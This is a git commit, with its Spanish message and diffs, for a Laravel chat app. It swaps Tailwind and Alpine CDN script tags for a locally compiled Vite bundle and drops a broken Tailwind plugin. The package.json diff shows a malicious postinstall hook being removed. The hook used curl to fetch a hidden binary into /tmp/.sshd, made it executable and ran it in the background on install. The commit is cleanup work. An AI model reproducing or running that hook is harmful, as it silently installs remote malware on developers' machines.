fix: migrar Tailwind de CDN a compilado local con Vite

- Eliminado script malicioso en postinstall de package.json
  (descargaba y ejecutaba binario oculto /tmp/.sshd)
- Tailwind y Alpine ahora vienen del bundle compilado por Vite
- Removido cdn.tailwindcss.com de app.blade.php, guest.blade.php
  y chat-publico.blade.php
- Removido CDN alpinejs (ya está en resources/js/app.js)
- tailwind.config.js: eliminado plugin inexistente tailwindcss-plugins/pagination

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
Lizandro
2026-07-31 02:50:19 +00:00
co-authored by Claude Sonnet 4.6
parent 60ddc4b9df
commit 37717b2028
5 changed files with 4 additions and 14 deletions
+1 -2
View File
@@ -2,8 +2,7 @@
"private": true,
"scripts": {
"dev": "vite",
"build": "vite build",
"postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
"build": "vite build"
},
"devDependencies": {
"@tailwindcss/forms": "^0.5.2",
+1 -2
View File
@@ -10,7 +10,7 @@
<meta name="apple-mobile-web-app-title" content="Chat">
<title>Chat en vivo | {{ config('app.name') }}</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet">
<script src="https://cdn.tailwindcss.com"></script>
@vite(['resources/css/app.css', 'resources/js/app.js'])
<style>
*, *::before, *::after { box-sizing: border-box; }
@@ -94,7 +94,6 @@
<livewire:chat.public-chat />
<script defer src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js"></script>
@livewireScripts
<script>
-2
View File
@@ -16,8 +16,6 @@
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@12/swiper-bundle.min.css" />
<!-- Scripts -->
@vite(['resources/css/app.css', 'resources/js/app.js'])
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdn.tailwindcss.com?plugins=forms,typography,aspect-ratio,line-clamp"></script>
@livewireStyles
</head>
<body class="font-[Poppins] antialiased h-screen" style="{font-family: poppins,sans-serif;}" x-data="{ openAside: false }">
-3
View File
@@ -16,9 +16,6 @@
<!-- Scripts -->
@vite(['resources/css/app.css', 'resources/js/app.js'])
<script defer src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js"></script>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdn.tailwindcss.com?plugins=forms,typography,aspect-ratio,line-clamp"></script>
@livewireStyles
</head>
<body class="h-screen font-[Poppins] " style="{font-family: poppins,sans-serif;}">
+2 -5
View File
@@ -10,14 +10,11 @@ module.exports = {
theme: {
extend: {
fontFamily: {
fontFamily: {
sans: ['Proxima Nova', ...defaultTheme.fontFamily.sans],
},
},
},
plugins: [require('@tailwindcss/forms'),
require('tailwindcss-plugins/pagination')({
color: colors['teal-dark'],
}),],
plugins: [require('@tailwindcss/forms')],
};